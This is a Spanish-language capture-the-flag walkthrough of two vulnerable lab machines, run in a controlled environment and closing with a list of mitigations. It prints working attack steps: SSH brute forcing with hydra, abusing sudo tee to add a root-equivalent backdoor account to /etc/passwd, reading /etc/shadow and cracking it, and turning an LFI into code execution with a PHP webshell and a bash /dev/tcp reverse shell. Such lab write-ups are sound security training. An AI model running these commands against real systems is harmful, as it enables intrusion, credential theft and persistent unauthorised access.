Este laboratorio está catalogado con la dificultad "Medio" y su autor es "firstatack".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: Contraseña débil, Divulgación de información, Inclusión de archivos locales (LFI), Privilegios SUDO, Seguridad por oscuridad

Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:

  • Identificación y explotación de vectores de ataque (tanto acceso inicial como escalada de privilegios) muy relacionados con la exposición de información sensible, manejo inseguro de contraseñas y malas prácticas del estilo "seguridad por oscuridad".
  • Detección de un laboratorio extra denominado buscalove y resolución del mismo. Ambos laboratorios están relacionados hasta cierto punto.
  • Identificación y explotación de varios vectores de acceso inicial y escalada de privilegios en el laboratorio denominado buscalove.

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 172.18.0.2
None

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.18.0.2 -oN allPorts
None

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 80,8899 -n -Pn 172.18.0.2 -oN services
None

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (rosa)

En este caso se detecta que hay dos puertos abiertos:

  • Puerto 80 (servicio HTTP, Apache httpd)
  • Puerto 8899 (servicio SSH, OpenSSH)

Al revisar el puerto 80, se detecta una página que muestra un mensaje sobre una tal "Rosa" donde indica que no ha manejado sus permisos y contraseñas correctamente.

URL -> http://172.18.0.2
None

El mensaje destacado en azul parece ser un enlace que lleva a MEGA que permite descargar un nuevo recurso.

Al revisar el contenido descargado, este parece ser un recurso que contiene un nuevo laboratorio denominado "buscalove".

ls -al buscalove.zip
file buscalove.zip
unzip buscalove.zip
None

NOTA: Debido a que este recurso corresponde a un nuevo laboratorio, el análisis y la resolución se posponen para una sección BONUS dentro de esta misma publicación, con el fin de evitar entremezclar ambas resoluciones.

En este punto, se escanea la web en busca de nuevos recursos, entre los cuales se encuentra uno de interés: shell.php.

gobuster dir -u http://172.18.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 32
None

Al intentar acceder al archivo "shell.php", se puede comprobar que es posible revisar el código fuente en PHP que contiene, lo que significa que el servidor no está interpretando el código PHP utilizado.

curl -s http://172.18.0.2/shell.php
None

Además, se puede comprobar que, en el caso de que se interpretara, este formulario contiene campos que no disponen de una validación suficiente de su contenido, haciendo que estos sean vulnerables a XSS reflejado.

Como aparentemente no va a ser posible ejecutar código PHP, se comienza a revisar el código fuente de la página principal, donde se encuentra un nuevo comentario.

URL -> view-source:http://172.18.0.2/
...
<!-- Esta vez se preocupo menos-->
None

Mientras que al revisar el contenido de la página "form.html", este muestra un elemento HTML oculto, el cual parece contener las credenciales del usuario "rosa" en texto plano.

URL -> view-source:http://172.18.0.2/form.html
...

<p style="visibility: hidden;">rosa:<RECORTADO></p>
None

Tras probar las credenciales a través del servicio SSH disponible a través del puerto 8899, es posible acceder al sistema como el usuario "rosa".

ssh rosa@172.18.0.2
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname
None

Escalada de privilegios (rosa -> juan)

Buscando dentro del sistema se detecta un archivo ZIP oculto dentro del directorio CSS del sitio web. Tras copiarlo y extraerlo en un directorio temporal, se descubre que contiene una copia de seguridad de la página con un único archivo de texto de bienvenida que incluye un mensaje.

ls -al /var/www/html/css

cp /var/www/html/css/.zip /tmp/a.zip
cd /tmp
unzip a.zip

cat welcome.txt
None

Por el contexto de la nota y la presencia de una secuencia de puertos, es posible que se esté ocultando algún servicio el cuál es posible desbloquear mediante la técnica de autenticación por secuencia de puertos (mejor conocida como port knocking).

Para ello, se realiza una conexión de forma secuencial a cada uno de estos puertos para comprobar si se abre un nuevo servicio.

nc -w 1 -z 172.18.0.2 5555; nc -w 1 -z 172.18.0.2 4444; nc -w 1 -z 172.18.0.2 7777;

Sin embargo, en este caso no ocurre nada, por lo que este elemento resulta ser un rabbit hole.

Tras continuar enumerando sin encontrar nada relevante, se decide recurrir a la herramienta pspy para detectar tareas programadas ejecutándose por otros usuarios del sistema.

Referencia: https://github.com/DominicBreuker/pspy

Una vez descargada la versión correspondiente se transfiere a la máquina objetivo utilizando SCP.

scp -P 8899 ./pspy64 rosa@172.18.0.2:/tmp/pspy64
<introducir contraseña de "rosa">
None

A continuación, se le dan permisos de ejecución y se ejecuta. Tras esperar un poco, se detecta que el usuario "root" (UID=0) ejecuta de forma periódica un script y que posteriormente elimina un archivo temporal, que parece contener por su nombre la contraseña del usuario "juan".

None

Tras esperar al momento de la ejecución del script e intentar leer este archivo, es posible extraer su contenido que parece ser una contraseña en texto plano.

(esperar al momento de su ejecución, ya que es una vez por minuto)
cat /tmp/passjuan.txt
None

Con esta contraseña es posible acceder como el usuario "juan" directamente.

su - juan
(introducir la contraseña descubierta)

whoami
id
hostname
None

Escalada de privilegios (juan -> carlos)

Al listar los privilegios SUDO, se puede comprobar que el usuario "juan" puede ejecutar dos binarios como el usuario "carlos" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (carlos) NOPASSWD: /usr/bin/tree
  • (carlos) NOPASSWD: /usr/bin/cat
sudo -l
None

El binario "tree" sirve para mostrar el árbol de directorios a partir de uno proporcionado, mientras que el binario "cat" sirve para leer el contenido de un archivo especificado.

Dado que es posible ejecutar ambos en el contexto del usuario "carlos", es posible que se pueda encontrar algo de interés en su directorio personal. Tras investigarlo, se termina detectando un archivo que parece tener una contraseña en texto plano y que parece estar asociada a este usuario.

sudo -u carlos /usr/bin/tree /home/carlos
sudo -u carlos /usr/bin/cat /home/carlos/password
None

Con esta contraseña, es posible acceder como el usuario "carlos" directamente. Además, se detecta una nota oculta en su directorio principal que aporta una pista para descubrir su contraseña mediante un ataque de diccionario propio utilizando el formato proporcionado. Sin embargo, en este caso no va a ser necesario, ya que ya se ha descubierto.

su - juan
(introducir la contraseña descubierta)

whoami
id
hostname

ls -al
cat .misecreto.txt
No se que hacer solo recuerdo el principio de mi password , olvide los tres ultimos caracteres y si cierro sesion no la recupero.

<RECORTADO>XXX

Temo que me despidan como a rosa.
None

Escalada de privilegios (carlos -> root)

Al listar los privilegios SUDO, se puede comprobar que el usuario "carlos" puede ejecutar el binario "/usr/bin/tee" como cualquier usuario del sistema sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (ALL : NOPASSWD) /usr/bin/tee
sudo -l
None

Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.github.io/gtfobins/tee/#sudo
None

Por ello, para escalar privilegios, se va a crear un usuario que va a actuar de puerta trasera para poder acceder al usuario "root" y sus privilegios.

Para ello, se hace lo siguiente:

  • Se crea el hash de una contraseña (a elección) usando OpenSSL.
  • Se comprueba y copia la línea asociada a los datos del usuario "root".
  • Se crea esta línea como valor final de una variable, sustituyendo el nombre de "root" por otro cualquiera y la "x" que viene a continuación por el hash generado.
  • Se incluye dicho valor al final del archivo original aprovechando los privilegios encontrados.
openssl passwd <RECORTADO>
cat /etc/passwd | head -n 1
DATA=$(echo 'root2:<RECORTADO>:0:0:root:/root:/bin/bash')
None

Se incluye aprovechando los privilegios y se comprueba que se ha realizado correctamente.

printf "%s" "$DATA" | sudo -u root /usr/bin/tee -a /etc/passwd
cat /etc/passwd | tail -n 1
None

Como la configuración especificada es la misma que el usuario "root" (UID, GID, directorio home, shell…), cuando se accede con este usuario "puerta trasera", en realidad se accede como "root" directamente.

su - root2
<introducir la contraseña creada>
whoami
id
hostname
None

Además, se encuentra un "megasecreto", solo legible por el usuario "root".

ls -al /home
cat /home/megasecret.txt
None

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

BONUS: Resolución del laboratorio "buscalove"

Tras terminar con la resolución del laboratorio, se decide iniciar el laboratorio encontrado en la fase de enumeración denominado "buscalove".

Para ello, se le da permisos de ejecución al script "auto_deploy.sh" y se levanta el laboratorio en cuestión.

chmod +x auto_deploy.sh
sudo ./auto_deploy.sh buscalove.tar
...

Laboratorio "buscalove": 172.18.0.3
None

En este punto es posible comenzar con el reconocimiento inicial.

Reconocimiento inicial (máquina "buscalove")

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado. Se crea una carpeta propia para diferenciar recursos entre resoluciones.

mkdir buscalove; cd buscalove
ping -c 1 172.18.0.3
None

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 172.18.0.3 -oN allPorts
None

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 22,80 -n -Pn 172.18.0.3 -oN services
None

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (rosa, máquina "buscalove")

En este caso se detecta que hay dos puertos abiertos:

  • Puerto 22 (servicio SSH, OpenSSH)
  • Puerto 80 (servicio HTTP, Apache httpd)

Al revisar el puerto 80, se detecta la página por defecto de Apache.

URL -> http://172.18.0.3
None

Al escanear la web, se detecta un directorio "wordpress" que contiene un archivo "index.php".

gobuster dir -u http://172.18.0.3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 32
gobuster dir -u http://172.18.0.3/wordpress -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,zip -t 32
None

Al acceder a esta página, parece no haber nada relevante en ella.

URL -> http://172.18.0.3/wordpress/index.php
None

De forma similar al laboratorio principal, se revisa el código fuente de la página y se detecta un mensaje en un comentario HTML, pero en un principio nada más.

URL -> view-source:http://172.18.0.3/wordpress/index.php
...
<!-- El desarollo de esta web esta en fase verde muy verde te dejo aqui la ventana abierta con mucho love para los curiosos que gustan de leer -->
None

Recordando la nota sobre "Rosa" en la máquina principal de este laboratorio, es posible que este también tenga asociado este usuario, ya que hace alusión a dos empresas de las cuales "Rosa" se considera despedida por no gestionar adecuadamente sus contraseñas.

Al probar las credenciales descubiertas anteriormente a través de SSH, estas no parecen funcionar. Sin embargo, si este usuario sigue utilizando estas malas prácticas, es posible que también tenga una contraseña débil asociada a este laboratorio.

Por ello, se prueba a realizar un ataque de diccionario sobre este usuario a través del servicio SSH. No tarda mucho hasta que detecta la contraseña.

hydra -l rosa -P /usr/share/wordlists/rockyou.txt ssh://172.18.0.3 -I -f -t 64
None

Aprovechando estas credenciales es posible acceder al sistema a través del servicio SSH como el usuario "rosa".

ssh rosa@172.18.0.3
yes (aceptar conexión sin comprobar autenticidad)
<introducir la contraseña descubierta>
whoami
id
hostname
None

Escalada de privilegios (rosa -> root, máquina "buscalove")

Al listar los privilegios SUDO, se puede comprobar que el usuario "rosa" puede ejecutar dos binarios como cualquier usuario del sistema sin proporcionar contraseña. Sin embargo, el interesante en este caso es "/usr/bin/cat". Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (ALL) NOPASSWD: /usr/bin/ls, /usr/bin/cat
sudo -l
None

Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.github.io/gtfobins/cat/#sudo
None

En este caso, es posible leer el contenido de cualquier archivo del sistema. Lo que permite leer el contenido del archivo "/etc/shadow".

sudo -u root /usr/bin/cat /etc/shadow
None

Como se dispone del hash asociado a la contraseña del usuario "root", se decide intentar romper para obtener la contraseña en texto plano.

Como indicaba la nota encontrada al principio, es posible que este usuario fuera gestionado por el usuario "Rosa" y también disponga de una contraseña débil. Efectivamente, no tarda mucho hasta que la detecta.

mousepad root.hash (copiar el hash y guardar)
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt root.hash
None

En este punto, es posible acceder como el usuario "root" directamente.

su - root
(introducir la contraseña descubierta)

whoami
id
hostname
None

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

BONUS 2: Escalada de privilegios (rosa -> pedro, máquina "buscalove")

Al listar los privilegios SUDO, se puede comprobar que el usuario "rosa" puede ejecutar dos binarios como cualquier usuario del sistema sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (ALL) NOPASSWD: /usr/bin/ls, /usr/bin/cat
None

Es posible utilizar estos privilegios para enumerar diferentes recursos del sistema desde una perspectiva más privilegiada. En este caso se detecta un archivo secreto en el directorio principal del usuario "root" con contenido en hexadecimal.

sudo -u root /usr/bin/ls -al /root
sudo -u root /usr/bin/cat /root/secret.txt
None

En este punto, se utiliza CyberChef para descifrar la cadena de caracteres encontrada para descifrar el mensaje secreto en texto plano.

Receta: From Hex -> From Base32
None

Tras probar parece que es posible acceder como el usuario "pedro" utilizando este como contraseña.

su - pedro
(introducir la contraseña descubierta)

whoami
id
hostname
None

BONUS 3: Escalada de privilegios (pedro -> root, máquina "buscalove")

Al listar los privilegios SUDO, se puede comprobar que el usuario "pedro" puede ejecutar el binario "/usr/bin/env" como cualquier usuario sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (ALL) NOPASSWD: /usr/bin/env
sudo -l
None

Comprobando este binario en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.github.io/gtfobins/env/#sudo
None

En este caso, es posible abrir una consola interactiva como el usuario "root" directamente.

sudo -u root /usr/bin/env /bin/bash
whoami
id
hostname
None

BONUS 4: Acceso inicial (www-data, máquina "buscalove")

Una vez accedido como "root" se decide investigar la web. Se detecta que esta utiliza un parámetro GET denominado "love" para incluir el contenido de cualquier archivo local especificado, lo que lo hace vulnerable a inclusión local de archivos (LFI).

No entendí la pista que se ha dado al principio a modo de comentario HTML, pero ahora que lo veo tiene sentido.

cd /var/www/html
ls -al
cd wordpress
ls -al
cat index.php
None

Por ello, tras probar a solicitar el archivo "/etc/passwd", este se acaba cargando. Esto confirma que este parámetro es vulnerable a inclusión local de archivos (Local File Inclusion, LFI).

curl -s http://172.18.0.3/wordpress/index.php?love=/etc/passwd
None

Utilizando la siguiente referencia, es posible facilitar una carga útil deseada y que esta se convierta en una cadena de filtros de PHP, de tal forma que al asignarse como valor del parámetro vulnerable a LFI, esta se interpretará y ejecutará el código sin necesidad de subir ningún archivo.

Referencia: https://github.com/synacktiv/php_filter_chain_generator
(descargando el archivo Python es suficiente, no hace falta clonarlo)

Un ejemplo para ilustrar su funcionamiento sería intentando cargar la página "phpinfo". Para ello, se genera con esta herramienta la cadena asociada al código que interpretado muestre esta página.

python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>'
None

A continuación, se copia la cadena generada (desde "php://filter" hasta "php://temp") y se asigna como valor del parámetro vulnerable. Al enviarse esta petición, interpretará la cadena inyectada e incluirá el contenido de la página "phpinfo", confirmando la presencia de la vulnerabilidad de ejecución remota de código (RCE).

curl "http://172.18.0.3/wordpress/index.php?love=php://filter<RECORTADO>php://temp"
...
<title>PHP 8.3.6 - phpinfo()</title><meta name="ROBOTS" content="NOINDEX,NOFOLLOW,NOARCHIVE" /></head>
None

Para ejecutar comandos del sistema, se aprovecha esta vulnerabilidad, generando una nueva carga útil que incluya una webshell en PHP. Primero, se genera con esta herramienta la cadena asociada al código de la webshell.

python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'
None

A continuación, se copia la cadena generada (desde "php://filter" hasta "php://temp") y se asigna como valor del parámetro vulnerable. Además, se debe incluir el parámetro GET "cmd" para especificar el comando a ejecutar, en este caso se prueba con "id". Al enviarse esta petición, interpretará la cadena inyectada e incluirá el resultado del comando ejecutado en la página que resuelve.

curl "http://172.18.0.3/wordpress/index.php?love=php://filter<RECORTADO>php://temp&cmd=id" --output -
(si no se incluye el parámetro "--output -", la herramienta dará un error solicitando incluirlo)
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
None

Al poderse ejecutar comandos, se puede establecer una consola inversa. Por ello, se establece un puerto a la escucha.

rlwrap nc -nvlp 1337
None

Por último, se codifica para URL una consola inversa se sustituye por el comando "id" de la petición anterior y se envía.

urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/1337 0>&1'"
curl "http://172.18.0.3/wordpress/index.php?love=php://filter<RECORTADO>php://temp&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1337%200%3E%261%27" --output -
None

Se comprueba que se ha obtenido acceso al sistema como el usuario "www-data" en el puerto a la escucha.

whoami
id
hostname
None

Para terminar con el acceso inicial, se convierte la consola a una TTY.

script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

(en una nueva consola local)
stty size
PRIMER NUMERO -> FILAS
SEGUNDO NUMERO -> COLUMNAS

(en la consola del objetivo)
stty rows <PRIMER NUMERO> cols <SEGUNDO NUMERO>

Mitigaciones a aplicar

  • Para prevenir la vulnerabilidad inclusión local de archivos (LFI), validar y sanitizar todas las entradas del usuario, evitando el uso directo de rutas en funciones de inclusión de archivos que potencialmente incluyan su contenido directamente.
  • Limitar el número de intentos de acceso erróneos para servicios de acceso remoto como SSH para disuadir posibles amenazas.
  • Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando algoritmos de hashing adecuados, usando gestores de contraseñas y manteniendo estos y su contraseña maestra a buen recaudo, etc).
  • Evitar que los usuarios del sistema u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
  • Evitar exponer información sensible a través de servicios web.
  • Evitar aplicar prácticas del tipo "seguridad por oscuridad", aplicando mecanismos de seguridad robustos y auditables con el fin de asegurar funcionalidades críticas o proteger secretos.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com